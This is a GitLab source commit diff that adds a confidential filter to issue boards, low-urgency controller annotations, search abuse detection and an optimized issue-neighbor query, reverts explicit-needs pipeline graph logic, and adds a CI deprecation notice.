Add latest changes from gitlab-org/gitlab@master
This commit is contained in:
parent
3d233a67cf
commit
15f5da601b
|
|
@ -220,6 +220,10 @@ export const FiltersInfo = {
|
|||
types: {
|
||||
negatedSupport: true,
|
||||
},
|
||||
confidential: {
|
||||
negatedSupport: false,
|
||||
transform: (val) => val === 'yes',
|
||||
},
|
||||
search: {
|
||||
negatedSupport: false,
|
||||
},
|
||||
|
|
|
|||
|
|
@ -45,6 +45,7 @@ export default {
|
|||
epicId,
|
||||
myReactionEmoji,
|
||||
releaseTag,
|
||||
confidential,
|
||||
} = this.filterParams;
|
||||
const filteredSearchValue = [];
|
||||
|
||||
|
|
@ -113,6 +114,13 @@ export default {
|
|||
});
|
||||
}
|
||||
|
||||
if (confidential !== undefined) {
|
||||
filteredSearchValue.push({
|
||||
type: 'confidential',
|
||||
value: { data: confidential },
|
||||
});
|
||||
}
|
||||
|
||||
if (epicId) {
|
||||
filteredSearchValue.push({
|
||||
type: 'epic',
|
||||
|
|
@ -211,6 +219,7 @@ export default {
|
|||
myReactionEmoji,
|
||||
iterationId,
|
||||
releaseTag,
|
||||
confidential,
|
||||
} = this.filterParams;
|
||||
let notParams = {};
|
||||
|
||||
|
|
@ -245,6 +254,7 @@ export default {
|
|||
epic_id: isGid(epicId) ? getIdFromGraphQLId(epicId) : epicId,
|
||||
my_reaction_emoji: myReactionEmoji,
|
||||
release_tag: releaseTag,
|
||||
confidential,
|
||||
};
|
||||
},
|
||||
},
|
||||
|
|
@ -311,6 +321,9 @@ export default {
|
|||
case 'release':
|
||||
filterParams.releaseTag = filter.value.data;
|
||||
break;
|
||||
case 'confidential':
|
||||
filterParams.confidential = filter.value.data;
|
||||
break;
|
||||
case 'filtered-search-term':
|
||||
if (filter.value.data) plainText.push(filter.value.data);
|
||||
break;
|
||||
|
|
|
|||
|
|
@ -349,6 +349,9 @@ export default {
|
|||
v-if="showCreate"
|
||||
v-gl-modal-directive="'board-config-modal'"
|
||||
data-qa-selector="create_new_board_button"
|
||||
data-track-action="click_button"
|
||||
data-track-label="create_new_board"
|
||||
data-track-property="dropdown"
|
||||
@click.prevent="showPage('new')"
|
||||
>
|
||||
{{ s__('IssueBoards|Create new board') }}
|
||||
|
|
|
|||
|
|
@ -13,6 +13,7 @@ import { __ } from '~/locale';
|
|||
import {
|
||||
TOKEN_TITLE_MY_REACTION,
|
||||
OPERATOR_IS_AND_IS_NOT,
|
||||
OPERATOR_IS_ONLY,
|
||||
} from '~/vue_shared/components/filtered_search_bar/constants';
|
||||
import AuthorToken from '~/vue_shared/components/filtered_search_bar/tokens/author_token.vue';
|
||||
import EmojiToken from '~/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue';
|
||||
|
|
@ -36,6 +37,7 @@ export default {
|
|||
issue: __('Issue'),
|
||||
milestone: __('Milestone'),
|
||||
release: __('Release'),
|
||||
confidential: __('Confidential'),
|
||||
},
|
||||
components: { BoardFilteredSearch },
|
||||
inject: ['isSignedIn', 'releasesFetchPath'],
|
||||
|
|
@ -68,6 +70,7 @@ export default {
|
|||
type,
|
||||
milestone,
|
||||
release,
|
||||
confidential,
|
||||
} = this.$options.i18n;
|
||||
const { types } = this.$options;
|
||||
const { fetchAuthors, fetchLabels } = issueBoardFilters(
|
||||
|
|
@ -132,6 +135,18 @@ export default {
|
|||
});
|
||||
},
|
||||
},
|
||||
{
|
||||
type: 'confidential',
|
||||
icon: 'eye-slash',
|
||||
title: confidential,
|
||||
unique: true,
|
||||
token: GlFilteredSearchToken,
|
||||
operators: OPERATOR_IS_ONLY,
|
||||
options: [
|
||||
{ icon: 'eye-slash', value: 'yes', title: __('Yes') },
|
||||
{ icon: 'eye', value: 'no', title: __('No') },
|
||||
],
|
||||
},
|
||||
]
|
||||
: []),
|
||||
{
|
||||
|
|
|
|||
|
|
@ -104,6 +104,7 @@ export const FilterFields = {
|
|||
'assigneeUsername',
|
||||
'assigneeWildcardId',
|
||||
'authorUsername',
|
||||
'confidential',
|
||||
'labelName',
|
||||
'milestoneTitle',
|
||||
'milestoneWildcardId',
|
||||
|
|
|
|||
|
|
@ -1,6 +1,5 @@
|
|||
import { memoize } from 'lodash';
|
||||
import { createNodeDict } from '../utils';
|
||||
import { EXPLICIT_NEEDS_PROPERTY, NEEDS_PROPERTY } from '../constants';
|
||||
import { createSankey } from './dag/drawing_utils';
|
||||
|
||||
/*
|
||||
|
|
@ -16,14 +15,12 @@ const deduplicate = (item, itemIndex, arr) => {
|
|||
return foundIdx === itemIndex;
|
||||
};
|
||||
|
||||
export const makeLinksFromNodes = (nodes, nodeDict, { needsKey = NEEDS_PROPERTY } = {}) => {
|
||||
export const makeLinksFromNodes = (nodes, nodeDict) => {
|
||||
const constantLinkValue = 10; // all links are the same weight
|
||||
return nodes
|
||||
.map(({ jobs, name: groupName }) =>
|
||||
jobs.map((job) => {
|
||||
const needs = job[needsKey] || [];
|
||||
|
||||
return needs.reduce((acc, needed) => {
|
||||
jobs.map(({ needs = [] }) =>
|
||||
needs.reduce((acc, needed) => {
|
||||
// It's possible that we have an optional job, which
|
||||
// is being needed by another job. In that scenario,
|
||||
// the needed job doesn't exist, so we don't want to
|
||||
|
|
@ -37,8 +34,8 @@ export const makeLinksFromNodes = (nodes, nodeDict, { needsKey = NEEDS_PROPERTY
|
|||
}
|
||||
|
||||
return acc;
|
||||
}, []);
|
||||
}),
|
||||
}, []),
|
||||
),
|
||||
)
|
||||
.flat(2);
|
||||
};
|
||||
|
|
@ -79,9 +76,9 @@ export const filterByAncestors = (links, nodeDict) =>
|
|||
return !allAncestors.includes(source);
|
||||
});
|
||||
|
||||
export const parseData = (nodes, { needsKey = NEEDS_PROPERTY } = {}) => {
|
||||
const nodeDict = createNodeDict(nodes, { needsKey });
|
||||
const allLinks = makeLinksFromNodes(nodes, nodeDict, { needsKey });
|
||||
export const parseData = (nodes) => {
|
||||
const nodeDict = createNodeDict(nodes);
|
||||
const allLinks = makeLinksFromNodes(nodes, nodeDict);
|
||||
const filteredLinks = allLinks.filter(deduplicate);
|
||||
const links = filterByAncestors(filteredLinks, nodeDict);
|
||||
|
||||
|
|
@ -126,8 +123,7 @@ export const removeOrphanNodes = (sankeyfiedNodes) => {
|
|||
export const listByLayers = ({ stages }) => {
|
||||
const arrayOfJobs = stages.flatMap(({ groups }) => groups);
|
||||
const parsedData = parseData(arrayOfJobs);
|
||||
const explicitParsedData = parseData(arrayOfJobs, { needsKey: EXPLICIT_NEEDS_PROPERTY });
|
||||
const dataWithLayers = createSankey()(explicitParsedData);
|
||||
const dataWithLayers = createSankey()(parsedData);
|
||||
|
||||
const pipelineLayers = dataWithLayers.nodes.reduce((acc, { layer, name }) => {
|
||||
/* sort groups by layer */
|
||||
|
|
|
|||
|
|
@ -1,5 +1,4 @@
|
|||
import { reportToSentry } from '../utils';
|
||||
import { EXPLICIT_NEEDS_PROPERTY, NEEDS_PROPERTY } from '../constants';
|
||||
|
||||
const unwrapGroups = (stages) => {
|
||||
return stages.map((stage, idx) => {
|
||||
|
|
@ -28,16 +27,12 @@ const unwrapNodesWithName = (jobArray, prop, field = 'name') => {
|
|||
}
|
||||
|
||||
return jobArray.map((job) => {
|
||||
if (job[prop]) {
|
||||
return { ...job, [prop]: job[prop].nodes.map((item) => item[field] || '') };
|
||||
}
|
||||
return job;
|
||||
return { ...job, [prop]: job[prop].nodes.map((item) => item[field] || '') };
|
||||
});
|
||||
};
|
||||
|
||||
const unwrapJobWithNeeds = (denodedJobArray) => {
|
||||
const explicitNeedsUnwrapped = unwrapNodesWithName(denodedJobArray, EXPLICIT_NEEDS_PROPERTY);
|
||||
return unwrapNodesWithName(explicitNeedsUnwrapped, NEEDS_PROPERTY);
|
||||
return unwrapNodesWithName(denodedJobArray, 'needs');
|
||||
};
|
||||
|
||||
const unwrapStagesWithNeedsAndLookup = (denodedStages) => {
|
||||
|
|
|
|||
|
|
@ -7,8 +7,6 @@ export const ANY_TRIGGER_AUTHOR = 'Any';
|
|||
export const SUPPORTED_FILTER_PARAMETERS = ['username', 'ref', 'status', 'source'];
|
||||
export const FILTER_TAG_IDENTIFIER = 'tag';
|
||||
export const SCHEDULE_ORIGIN = 'schedule';
|
||||
export const NEEDS_PROPERTY = 'needs';
|
||||
export const EXPLICIT_NEEDS_PROPERTY = 'previousStageJobsOrNeeds';
|
||||
|
||||
export const TestStatus = {
|
||||
FAILED: 'failed',
|
||||
|
|
|
|||
|
|
@ -1,6 +1,6 @@
|
|||
import * as Sentry from '@sentry/browser';
|
||||
import { pickBy } from 'lodash';
|
||||
import { SUPPORTED_FILTER_PARAMETERS, NEEDS_PROPERTY } from './constants';
|
||||
import { SUPPORTED_FILTER_PARAMETERS } from './constants';
|
||||
|
||||
/*
|
||||
The following functions are the main engine in transforming the data as
|
||||
|
|
@ -35,11 +35,11 @@ import { SUPPORTED_FILTER_PARAMETERS, NEEDS_PROPERTY } from './constants';
|
|||
10 -> value (constant)
|
||||
*/
|
||||
|
||||
export const createNodeDict = (nodes, { needsKey = NEEDS_PROPERTY } = {}) => {
|
||||
export const createNodeDict = (nodes) => {
|
||||
return nodes.reduce((acc, node) => {
|
||||
const newNode = {
|
||||
...node,
|
||||
needs: node.jobs.map((job) => job[needsKey] || []).flat(),
|
||||
needs: node.jobs.map((job) => job.needs || []).flat(),
|
||||
};
|
||||
|
||||
if (node.size > 1) {
|
||||
|
|
|
|||
|
|
@ -110,7 +110,7 @@ export default {
|
|||
<template>
|
||||
<div
|
||||
v-gl-tooltip="tooltipOptions"
|
||||
:class="{ 'multiple-users': hasMoreThanOneAssignee }"
|
||||
:class="{ 'multiple-users gl-relative': hasMoreThanOneAssignee }"
|
||||
:title="tooltipTitle"
|
||||
class="sidebar-collapsed-icon sidebar-collapsed-user"
|
||||
>
|
||||
|
|
|
|||
|
|
@ -89,7 +89,7 @@ export default {
|
|||
<template>
|
||||
<div
|
||||
v-gl-tooltip="tooltipOptions"
|
||||
:class="{ 'multiple-users': hasMoreThanOneReviewer }"
|
||||
:class="{ 'multiple-users gl-relative': hasMoreThanOneReviewer }"
|
||||
:title="tooltipTitle"
|
||||
class="sidebar-collapsed-icon sidebar-collapsed-user"
|
||||
>
|
||||
|
|
|
|||
|
|
@ -456,12 +456,6 @@
|
|||
}
|
||||
|
||||
.multiple-users {
|
||||
position: relative;
|
||||
height: 24px;
|
||||
margin-bottom: 17px;
|
||||
margin-top: 4px;
|
||||
padding-bottom: 4px;
|
||||
|
||||
.btn-link {
|
||||
padding: 0;
|
||||
border: 0;
|
||||
|
|
|
|||
|
|
@ -9,6 +9,8 @@ class AutocompleteController < ApplicationController
|
|||
feature_category :code_review, [:merge_request_target_branches]
|
||||
feature_category :continuous_delivery, [:deploy_keys_with_owners]
|
||||
|
||||
urgency :low, [:merge_request_target_branches]
|
||||
|
||||
def users
|
||||
group = Autocomplete::GroupFinder
|
||||
.new(current_user, project, params)
|
||||
|
|
|
|||
|
|
@ -18,6 +18,8 @@ class DashboardController < Dashboard::ApplicationController
|
|||
feature_category :team_planning, [:issues, :issues_calendar]
|
||||
feature_category :code_review, [:merge_requests]
|
||||
|
||||
urgency :low, [:merge_requests]
|
||||
|
||||
def activity
|
||||
respond_to do |format|
|
||||
format.html
|
||||
|
|
|
|||
|
|
@ -5,6 +5,8 @@ class Groups::AutocompleteSourcesController < Groups::ApplicationController
|
|||
feature_category :team_planning, [:issues, :labels, :milestones, :commands]
|
||||
feature_category :code_review, [:merge_requests]
|
||||
|
||||
urgency :low, [:merge_requests]
|
||||
|
||||
def members
|
||||
render json: ::Groups::ParticipantsService.new(@group, current_user).execute(target)
|
||||
end
|
||||
|
|
|
|||
|
|
@ -60,6 +60,7 @@ class GroupsController < Groups::ApplicationController
|
|||
feature_category :importers, [:export, :download_export]
|
||||
|
||||
urgency :high, [:unfoldered_environment_names]
|
||||
urgency :low, [:merge_requests]
|
||||
|
||||
def index
|
||||
redirect_to(current_user ? dashboard_groups_path : explore_groups_path)
|
||||
|
|
|
|||
|
|
@ -8,6 +8,8 @@ class Projects::AutocompleteSourcesController < Projects::ApplicationController
|
|||
feature_category :users, [:members]
|
||||
feature_category :snippets, [:snippets]
|
||||
|
||||
urgency :low, [:merge_requests]
|
||||
|
||||
def members
|
||||
render json: ::Projects::ParticipantsService.new(@project, current_user).execute(target)
|
||||
end
|
||||
|
|
|
|||
|
|
@ -5,6 +5,12 @@ class Projects::MergeRequests::ConflictsController < Projects::MergeRequests::Ap
|
|||
|
||||
before_action :authorize_can_resolve_conflicts!
|
||||
|
||||
urgency :low, [
|
||||
:show,
|
||||
:conflict_for_path,
|
||||
:resolve_conflicts
|
||||
]
|
||||
|
||||
def show
|
||||
respond_to do |format|
|
||||
format.html do
|
||||
|
|
|
|||
|
|
@ -13,6 +13,11 @@ class Projects::MergeRequests::ContentController < Projects::MergeRequests::Appl
|
|||
FAST_POLLING_INTERVAL = 10.seconds.in_milliseconds
|
||||
SLOW_POLLING_INTERVAL = 5.minutes.in_milliseconds
|
||||
|
||||
urgency :low, [
|
||||
:widget,
|
||||
:cached_widget
|
||||
]
|
||||
|
||||
def widget
|
||||
respond_to do |format|
|
||||
format.json do
|
||||
|
|
|
|||
|
|
@ -10,6 +10,15 @@ class Projects::MergeRequests::CreationsController < Projects::MergeRequests::Ap
|
|||
before_action :apply_diff_view_cookie!, only: [:diffs, :diff_for_path]
|
||||
before_action :build_merge_request, except: [:create]
|
||||
|
||||
urgency :low, [
|
||||
:new,
|
||||
:create,
|
||||
:pipelines,
|
||||
:diffs,
|
||||
:branch_from,
|
||||
:branch_to
|
||||
]
|
||||
|
||||
def new
|
||||
define_new_vars
|
||||
end
|
||||
|
|
|
|||
|
|
@ -14,6 +14,13 @@ class Projects::MergeRequests::DiffsController < Projects::MergeRequests::Applic
|
|||
|
||||
after_action :track_viewed_diffs_events, only: [:diffs_batch]
|
||||
|
||||
urgency :low, [
|
||||
:show,
|
||||
:diff_for_path,
|
||||
:diffs_batch,
|
||||
:diffs_metadata
|
||||
]
|
||||
|
||||
def show
|
||||
render_diffs
|
||||
end
|
||||
|
|
|
|||
|
|
@ -9,6 +9,13 @@ class Projects::MergeRequests::DraftsController < Projects::MergeRequests::Appli
|
|||
before_action :authorize_admin_draft!, only: [:update, :destroy]
|
||||
before_action :authorize_admin_draft!, if: -> { action_name == 'publish' && params[:id].present? }
|
||||
|
||||
urgency :low, [
|
||||
:create,
|
||||
:update,
|
||||
:destroy,
|
||||
:publish
|
||||
]
|
||||
|
||||
def index
|
||||
drafts = prepare_notes_for_rendering(draft_notes)
|
||||
render json: DraftNoteSerializer.new(current_user: current_user).represent(drafts)
|
||||
|
|
|
|||
|
|
@ -71,6 +71,21 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
|
|||
feature_category :continuous_integration, [:pipeline_status, :pipelines, :exposed_artifacts]
|
||||
|
||||
urgency :high, [:export_csv]
|
||||
urgency :low, [
|
||||
:index,
|
||||
:show,
|
||||
:commits,
|
||||
:bulk_update,
|
||||
:edit,
|
||||
:update,
|
||||
:cancel_auto_merge,
|
||||
:merge,
|
||||
:ci_environments_status,
|
||||
:destroy,
|
||||
:rebase,
|
||||
:discussions,
|
||||
:description_diff
|
||||
]
|
||||
|
||||
def index
|
||||
@merge_requests = @issuables
|
||||
|
|
|
|||
|
|
@ -12,7 +12,6 @@ class SearchController < ApplicationController
|
|||
around_action :allow_gitaly_ref_name_caching
|
||||
|
||||
before_action :block_anonymous_global_searches, :check_scope_global_search_enabled, except: :opensearch
|
||||
before_action :strip_surrounding_whitespace_from_search, except: :opensearch
|
||||
skip_before_action :authenticate_user!
|
||||
requires_cross_project_access if: -> do
|
||||
search_term_present = params[:search].present? || params[:term].present?
|
||||
|
|
@ -93,12 +92,12 @@ class SearchController < ApplicationController
|
|||
|
||||
def search_term_valid?
|
||||
unless search_service.valid_query_length?
|
||||
flash[:alert] = t('errors.messages.search_chars_too_long', count: SearchService::SEARCH_CHAR_LIMIT)
|
||||
flash[:alert] = t('errors.messages.search_chars_too_long', count: Gitlab::Search::Params::SEARCH_CHAR_LIMIT)
|
||||
return false
|
||||
end
|
||||
|
||||
unless search_service.valid_terms_count?
|
||||
flash[:alert] = t('errors.messages.search_terms_too_long', count: SearchService::SEARCH_TERM_LIMIT)
|
||||
flash[:alert] = t('errors.messages.search_terms_too_long', count: Gitlab::Search::Params::SEARCH_TERM_LIMIT)
|
||||
return false
|
||||
end
|
||||
|
||||
|
|
@ -143,6 +142,11 @@ class SearchController < ApplicationController
|
|||
payload[:metadata]['meta.search.filters.confidential'] = params[:confidential]
|
||||
payload[:metadata]['meta.search.filters.state'] = params[:state]
|
||||
payload[:metadata]['meta.search.force_search_results'] = params[:force_search_results]
|
||||
|
||||
if search_service.abuse_detected?
|
||||
payload[:metadata]['abuse.confidence'] = Gitlab::Abuse.confidence(:certain)
|
||||
payload[:metadata]['abuse.messages'] = search_service.abuse_messages
|
||||
end
|
||||
end
|
||||
|
||||
def block_anonymous_global_searches
|
||||
|
|
@ -194,10 +198,6 @@ class SearchController < ApplicationController
|
|||
render status: :request_timeout
|
||||
end
|
||||
end
|
||||
|
||||
def strip_surrounding_whitespace_from_search
|
||||
%i(term search).each { |param| params[param]&.strip! }
|
||||
end
|
||||
end
|
||||
|
||||
SearchController.prepend_mod_with('SearchController')
|
||||
|
|
|
|||
|
|
@ -91,14 +91,6 @@ query getPipelineDetails($projectPath: ID!, $iid: ID!) {
|
|||
name
|
||||
}
|
||||
}
|
||||
previousStageJobsOrNeeds {
|
||||
__typename
|
||||
nodes {
|
||||
__typename
|
||||
id
|
||||
name
|
||||
}
|
||||
}
|
||||
status: detailedStatus {
|
||||
__typename
|
||||
id
|
||||
|
|
|
|||
|
|
@ -168,6 +168,24 @@ module RelativePositioning
|
|||
self.relative_position = MIN_POSITION
|
||||
end
|
||||
|
||||
def next_object_by_relative_position(ignoring: nil, order: :asc)
|
||||
relation = relative_positioning_scoped_items(ignoring: ignoring).reorder(relative_position: order)
|
||||
|
||||
relation = if order == :asc
|
||||
relation.where(self.class.arel_table[:relative_position].gt(relative_position))
|
||||
else
|
||||
relation.where(self.class.arel_table[:relative_position].lt(relative_position))
|
||||
end
|
||||
|
||||
relation.first
|
||||
end
|
||||
|
||||
def relative_positioning_scoped_items(ignoring: nil)
|
||||
relation = self.class.relative_positioning_query_base(self)
|
||||
relation = exclude_self(relation, excluded: ignoring) if ignoring.present?
|
||||
relation
|
||||
end
|
||||
|
||||
# This method is used during rebalancing - override it to customise the update
|
||||
# logic:
|
||||
def update_relative_siblings(relation, range, delta)
|
||||
|
|
|
|||
|
|
@ -229,9 +229,37 @@ class Issue < ApplicationRecord
|
|||
end
|
||||
end
|
||||
|
||||
def next_object_by_relative_position(ignoring: nil, order: :asc)
|
||||
return super unless Feature.enabled?(:optimized_issue_neighbor_queries, project, default_enabled: :yaml)
|
||||
|
||||
array_mapping_scope = -> (id_expression) do
|
||||
relation = Issue.where(Issue.arel_table[:project_id].eq(id_expression))
|
||||
|
||||
if order == :asc
|
||||
relation.where(Issue.arel_table[:relative_position].gt(relative_position))
|
||||
else
|
||||
relation.where(Issue.arel_table[:relative_position].lt(relative_position))
|
||||
end
|
||||
end
|
||||
|
||||
relation = Gitlab::Pagination::Keyset::InOperatorOptimization::QueryBuilder.new(
|
||||
scope: Issue.order(relative_position: order, id: order),
|
||||
array_scope: relative_positioning_parent_projects,
|
||||
array_mapping_scope: array_mapping_scope,
|
||||
finder_query: -> (_, id_expression) { Issue.where(Issue.arel_table[:id].eq(id_expression)) }
|
||||
).execute
|
||||
|
||||
relation = exclude_self(relation, excluded: ignoring) if ignoring.present?
|
||||
|
||||
relation.take
|
||||
end
|
||||
|
||||
def relative_positioning_parent_projects
|
||||
project.group&.root_ancestor&.all_projects&.select(:id) || Project.id_in(project).select(:id)
|
||||
end
|
||||
|
||||
def self.relative_positioning_query_base(issue)
|
||||
projects = issue.project.group&.root_ancestor&.all_projects || issue.project
|
||||
in_projects(projects)
|
||||
in_projects(issue.relative_positioning_parent_projects)
|
||||
end
|
||||
|
||||
def self.relative_positioning_parent_column
|
||||
|
|
|
|||
|
|
@ -1,6 +1,6 @@
|
|||
# frozen_string_literal: true
|
||||
|
||||
class GroupPolicy < BasePolicy
|
||||
class GroupPolicy < Namespaces::GroupProjectNamespaceSharedPolicy
|
||||
include FindGroupProjects
|
||||
|
||||
desc "Group is public"
|
||||
|
|
|
|||
|
|
@ -0,0 +1,9 @@
|
|||
# frozen_string_literal: true
|
||||
|
||||
module Namespaces
|
||||
class GroupProjectNamespaceSharedPolicy < ::NamespacePolicy
|
||||
# Nothing here at the moment, but as we move policies from ProjectPolicy to ProjectNamespacePolicy,
|
||||
# anything common with GroupPolicy but not with UserNamespacePolicy can go in here.
|
||||
# See https://gitlab.com/groups/gitlab-org/-/epics/6689
|
||||
end
|
||||
end
|
||||
|
|
@ -1,7 +1,7 @@
|
|||
# frozen_string_literal: true
|
||||
|
||||
module Namespaces
|
||||
class ProjectNamespacePolicy < NamespacePolicy
|
||||
class ProjectNamespacePolicy < Namespaces::GroupProjectNamespaceSharedPolicy
|
||||
# For now users are not granted any permissions on project namespace
|
||||
# as it's completely hidden to them. When we start using project
|
||||
# namespaces in queries, we will have to extend this policy.
|
||||
|
|
|
|||
|
|
@ -89,11 +89,9 @@ module Ci
|
|||
end
|
||||
|
||||
def runner_projects_relation
|
||||
if ::Feature.enabled?(:ci_pending_builds_project_runners_decoupling, runner, default_enabled: :yaml)
|
||||
runner.runner_projects.select('"ci_runner_projects"."project_id"::bigint')
|
||||
else
|
||||
runner.projects.without_deleted.with_builds_enabled
|
||||
end
|
||||
runner
|
||||
.runner_projects
|
||||
.select('"ci_runner_projects"."project_id"::bigint')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
|||
|
|
@ -269,14 +269,7 @@ module Ci
|
|||
{
|
||||
missing_dependency_failure: -> (build, _) { !build.has_valid_build_dependencies? },
|
||||
runner_unsupported: -> (build, params) { !build.supported_runner?(params.dig(:info, :features)) },
|
||||
archived_failure: -> (build, _) { build.archived? }
|
||||
}.merge(builds_enabled_checks)
|
||||
end
|
||||
|
||||
def builds_enabled_checks
|
||||
return {} unless ::Feature.enabled?(:ci_queueing_builds_enabled_checks, runner, default_enabled: :yaml)
|
||||
|
||||
{
|
||||
archived_failure: -> (build, _) { build.archived? },
|
||||
project_deleted: -> (build, _) { build.project.pending_delete? },
|
||||
builds_disabled: -> (build, _) { !build.project.builds_enabled? }
|
||||
}
|
||||
|
|
|
|||
|
|
@ -2,42 +2,35 @@
|
|||
|
||||
class SearchService
|
||||
include Gitlab::Allowable
|
||||
include Gitlab::Utils::StrongMemoize
|
||||
|
||||
SEARCH_TERM_LIMIT = 64
|
||||
SEARCH_CHAR_LIMIT = 4096
|
||||
DEFAULT_PER_PAGE = Gitlab::SearchResults::DEFAULT_PER_PAGE
|
||||
MAX_PER_PAGE = 200
|
||||
|
||||
def initialize(current_user, params = {})
|
||||
@current_user = current_user
|
||||
@params = params.dup
|
||||
@params = Gitlab::Search::Params.new(params, detect_abuse: prevent_abusive_searches?)
|
||||
end
|
||||
|
||||
# rubocop: disable CodeReuse/ActiveRecord
|
||||
def project
|
||||
return @project if defined?(@project)
|
||||
|
||||
@project =
|
||||
if params[:project_id].present?
|
||||
strong_memoize(:project) do
|
||||
if params[:project_id].present? && valid_request?
|
||||
the_project = Project.find_by(id: params[:project_id])
|
||||
can?(current_user, :read_project, the_project) ? the_project : nil
|
||||
else
|
||||
nil
|
||||
end
|
||||
end
|
||||
end
|
||||
# rubocop: enable CodeReuse/ActiveRecord
|
||||
|
||||
# rubocop: disable CodeReuse/ActiveRecord
|
||||
def group
|
||||
return @group if defined?(@group)
|
||||
|
||||
@group =
|
||||
if params[:group_id].present?
|
||||
strong_memoize(:group) do
|
||||
if params[:group_id].present? && valid_request?
|
||||
the_group = Group.find_by(id: params[:group_id])
|
||||
can?(current_user, :read_group, the_group) ? the_group : nil
|
||||
else
|
||||
nil
|
||||
end
|
||||
end
|
||||
end
|
||||
# rubocop: enable CodeReuse/ActiveRecord
|
||||
|
||||
|
|
@ -55,18 +48,13 @@ class SearchService
|
|||
@show_snippets = params[:snippets] == 'true'
|
||||
end
|
||||
|
||||
def valid_query_length?
|
||||
params[:search].length <= SEARCH_CHAR_LIMIT
|
||||
end
|
||||
|
||||
def valid_terms_count?
|
||||
params[:search].split.count { |word| word.length >= 3 } <= SEARCH_TERM_LIMIT
|
||||
end
|
||||
|
||||
delegate :scope, to: :search_service
|
||||
delegate :valid_terms_count?, :valid_query_length?, to: :params
|
||||
|
||||
def search_results
|
||||
@search_results ||= search_service.execute
|
||||
strong_memoize(:search_results) do
|
||||
abuse_detected? ? Gitlab::EmptySearchResults.new : search_service.execute
|
||||
end
|
||||
end
|
||||
|
||||
def search_objects(preload_method = nil)
|
||||
|
|
@ -83,8 +71,30 @@ class SearchService
|
|||
search_results.aggregations(scope)
|
||||
end
|
||||
|
||||
def abuse_detected?
|
||||
strong_memoize(:abuse_detected) do
|
||||
params.abusive?
|
||||
end
|
||||
end
|
||||
|
||||
def abuse_messages
|
||||
return [] unless params.abusive?
|
||||
|
||||
params.abuse_detection.errors.messages
|
||||
end
|
||||
|
||||
def valid_request?
|
||||
strong_memoize(:valid_request) do
|
||||
params.valid?
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def prevent_abusive_searches?
|
||||
Feature.enabled?(:prevent_abusive_searches, current_user)
|
||||
end
|
||||
|
||||
def page
|
||||
[1, params[:page].to_i].max
|
||||
end
|
||||
|
|
|
|||
|
|
@ -9,7 +9,7 @@
|
|||
%a.js-retry-load{ href: '#' }
|
||||
= s_('UserProfile|Retry')
|
||||
.user-calendar-activities
|
||||
- if @user.user_readme
|
||||
- if @user.user_readme&.rich_viewer
|
||||
.row.justify-content-center
|
||||
.col-12.col-md-10.col-lg-8.gl-my-6
|
||||
.gl-display-flex
|
||||
|
|
|
|||
|
|
@ -1,8 +1,8 @@
|
|||
---
|
||||
name: ci_queueing_builds_enabled_checks
|
||||
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/70581
|
||||
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/341131
|
||||
milestone: '14.4'
|
||||
name: optimized_issue_neighbor_queries
|
||||
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/76073
|
||||
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/345921
|
||||
milestone: '14.6'
|
||||
type: development
|
||||
group: group::pipeline execution
|
||||
group: group::project management
|
||||
default_enabled: false
|
||||
|
|
@ -1,8 +1,8 @@
|
|||
---
|
||||
name: ci_pending_builds_project_runners_decoupling
|
||||
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/70415
|
||||
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/341005
|
||||
milestone: '14.4'
|
||||
name: prevent_abusive_searches
|
||||
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/74953
|
||||
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/346263
|
||||
milestone: '14.6'
|
||||
type: development
|
||||
group: group::pipeline execution
|
||||
group: group::global search
|
||||
default_enabled: false
|
||||
|
|
@ -0,0 +1,14 @@
|
|||
- name: "Remove `type` and `types` keyword in CI/CD configuration" # The name of the feature to be deprecated
|
||||
announcement_milestone: "14.6" # The milestone when this feature was first announced as deprecated.
|
||||
announcement_date: "2021-12-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
|
||||
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
|
||||
body: | # Do not modify this line, instead modify the lines below.
|
||||
The `type` and `types` CI/CD keywords will be removed in GitLab 15.0. Pipelines that use these keywords will stop working, so you must switch to `stage` and `stages`, which have the same behavior.
|
||||
# The following items are not published on the docs page, but may be used in the future.
|
||||
stage: # (optional - may be required in the future) String value of the stage that the feature was created in. e.g., Growth
|
||||
tiers: # (optional - may be required in the future) An array of tiers that the feature is available in currently. e.g., [Free, Silver, Gold, Core, Premium, Ultimate]
|
||||
issue_url: # (optional) This is a link to the deprecation issue in GitLab
|
||||
documentation_url: # (optional) This is a link to the current documentation page
|
||||
image_url: # (optional) This is a link to a thumbnail image depicting the feature
|
||||
video_url: # (optional) Use the youtube thumbnail URL with the structure of https://img.youtube.com/vi/UNIQUEID/hqdefault.jpg
|
||||
removal_date: # (optional - may be required in the future) YYYY-MM-DD format. This should almost always be the 22nd of a month (YYYY-MM-22), the date of the milestone release when this feature is planned to be removed
|
||||
|
|
@ -268,7 +268,7 @@ sudo -u git -H bundle exec rake gitlab:tcp_check[example.com,80] RAILS_ENV=produ
|
|||
GitLab uses a shared lock mechanism: `ExclusiveLease` to prevent simultaneous operations
|
||||
in a shared resource. An example is running periodic garbage collection on repositories.
|
||||
|
||||
In very specific situations, a operation locked by an Exclusive Lease can fail without
|
||||
In very specific situations, an operation locked by an Exclusive Lease can fail without
|
||||
releasing the lock. If you can't wait for it to expire, you can run this task to manually
|
||||
clear it.
|
||||
|
||||
|
|
|
|||
|
|
@ -213,6 +213,12 @@ In GitLab 14.5, we introduced the command `gitlab-ctl promote` to promote any Ge
|
|||
|
||||
Announced: 2021-11-22
|
||||
|
||||
### Remove `type` and `types` keyword in CI/CD configuration
|
||||
|
||||
The `type` and `types` CI/CD keywords will be removed in GitLab 15.0. Pipelines that use these keywords will stop working, so you must switch to `stage` and `stages`, which have the same behavior.
|
||||
|
||||
Announced: 2021-12-22
|
||||
|
||||
